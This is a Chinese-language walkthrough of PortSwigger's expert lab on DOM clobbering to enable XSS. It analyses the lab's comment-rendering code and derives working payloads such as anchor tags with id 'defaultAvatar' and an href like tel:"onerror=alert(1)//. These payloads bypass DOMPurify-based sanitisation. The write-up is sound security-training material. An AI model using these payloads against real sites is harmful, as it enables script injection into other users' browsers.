Exploiting DOM clobbering to enable XSS 题解

这是大名鼎鼎的 PortSwigger 提供的教程里的一道题, 难度为 EXPERT

https://portswigger.net/web-security/dom-based/dom-clobbering

调用到 alert() 就是过关

分析代码

进去之后随便点进一个文章, 下面有评论, 查看代码:

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};


看到其中用了 DOMPurify, 大概会用到 tel, cid 协议绕过

其中有一个函数:

function escapeHTML(data) {
      return data.replace(/[<>'"]/g, function(c){
          return '&#' + c.charCodeAt(0) + ';';
      })
  }

这个对符号进行了一些处理, 假设我们传 " 会发生什么?

" 的 ascii 码 10 进制是 34, c.charCodeAt(0) 也就返回了 34, 最会返回下面:

return '&#' + 34 + ';'
// &#34

这函数在此处有一次调用:

let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

他的本意是防止被 " 等符号闭合等等

后面插入 html 的时候都调用了 DOMPurify.sanitize() 进行处理

我们可以从评论有什么入手, 评论可以提交作者, 内容, 邮箱, 网站, 然后会展示名字, 内容, 还有头像

从上面的代码中看如何插入内容, 发现插入头像的代码有问题:

 let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

插入头像的代码并没有用框架而是只有一个 escapeHTML(comment.avatar)

这里 defaultAvatar 的值取决于当前 window 下有没有这个变量, 这意味着我们可以覆盖这个变量

由于 avatarImgHTML 是以拼接出来的, 意味着我们可以构造类似: c"onerror=... 这样的字符串来执行 alert

那么要怎么构造出字符串?

实际上某些标签, 比如 <a>toStirng 的时候会返回其 href 属性中的值, 也就是说我们可以通过让其拼接<a href=....>

那么现在的关键就是如何让他拼接一个 <a> 标签, 我们看下面的表达式:

(comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar)

这里的三元表达式肯定肯定会取 defaultAvatar.avatar, 因为 comment.avatar 一定是一个 '' 我们并没有在评论中上传图片, js 中 empty 也是 false, 所以我们就需要让 defaultAvatar.avatar 变成一个 <a> 标签. 同时这里也分析出了上面的 escapeHTML() 根本没用

这里就利用到了一个 DOM 构建时的特性, 如果有两个相同 id 的标签, 会将它们放入一个集合, 这个集合可以用 0 这种下标来访问, 关键的是还可以用标签有的 name 属性或是 id 属性作为键来访问

那么我们就可以使用以下的方式来让其获取到 href 中的内容:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href=....>

那我们构造的内容输入在哪里? 什么时候被插入? 怎么插入?

name 有长度限制, 那只能在评论内容上做手脚了, 评论的内容最终会通过 comment.body 获取, 然后在最后作用 userComment 的子 <p> 标签元素插入:

if (comment.body) {
	let commentBodyPElement = document.createElement("p");
	commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

	commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));

userComments.appendChild(commentSection);

可以看到 comment.body 使用了 DOMPurify.sanitize 进行处理

构造 payload

现在我们就只需要写好 href 中的值就好了, 我们可以尝试这样:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='"onerror=alert(1)//'>

在 Comment 输入框中填入这段内容, 你会发现并没有任何反映, 头像也是正常的, 并没有按我们预期的一样变成 href 的内容

这时再随意评论一条, 就会发现, 头像确实变成了我们想要的内容, 但不完全是, 因为还是弹出不了, 看看源码你就会发现:

<img class="avatar" src="https://0aa900c5037c5c6687a79a75001b001f.web-security-academy.net/%22onerror=alert(1)//">

我们的 " 居然变成了 %22, 导致无法逃逸了

这里的原因就是我们的 href 中没有加协议头, 这里的原因就是我们的 href 中没有加协议头, 我们可以翻看 html 的规范, 以下是官方文档:

The href attribute on a and area elements must have a value that is a valid URL potentially surrounded by spaces.

首先 href 中的值必须是一个有效的 url, 我们上面的 url 并不是

那如果是无效的该怎么处理? 详细规则在这里: https://url.spec.whatwg.org/#concept-url-parser

注意看下面的第 2 个 第 5 条:

  1. If url is not given:
    1. Set url to a new URL.
    2. If input contains any leading or trailing C0 control or space, invalid-URL-unit validation error.
    3. Remove any leading and trailing C0 control or space from input.
  2. If input contains any ASCII tab or newline, invalid-URL-unit validation error.
  3. Remove all ASCII tab or newline from input.
  4. Let state be state override if given, or scheme start state otherwise.
  5. Set encoding to the result of getting an output encoding from encoding.

......

......

这里说: 如果有 invalid-URL-unit 进行一系列操作, 最终会将其编码, ......

那么什么是 invalid-URL-unit 可以点击上面的超链接详细看, 以下这些就是:

"https://example.org/>"

" https://example.org "

"ht
tps://example.org"

"https://example.org/%s"

我们在 href 中填写的内容刚好就符合, 所以被编码了并且加上了一串地址

加上 DOMPurify 白名单中的协议头就可以了:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='tel:"onerror=alert(1)//'>

实际上这里也不用加协议头, 加 // 也可以:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='//"onerror=alert(1)//'>

这个会自动补协议名, 在这里他会补全为: http://"onerror=alert(1)//, 具体规则也在上面

那么最后还有一个问题你可能会疑惑: 为什么要评论两次?

这个问题很简单, 看代码你就会发现, 评论内容插入 html 是在最后进行的要晚于构造 <img> 标签, 所以需要第二次评论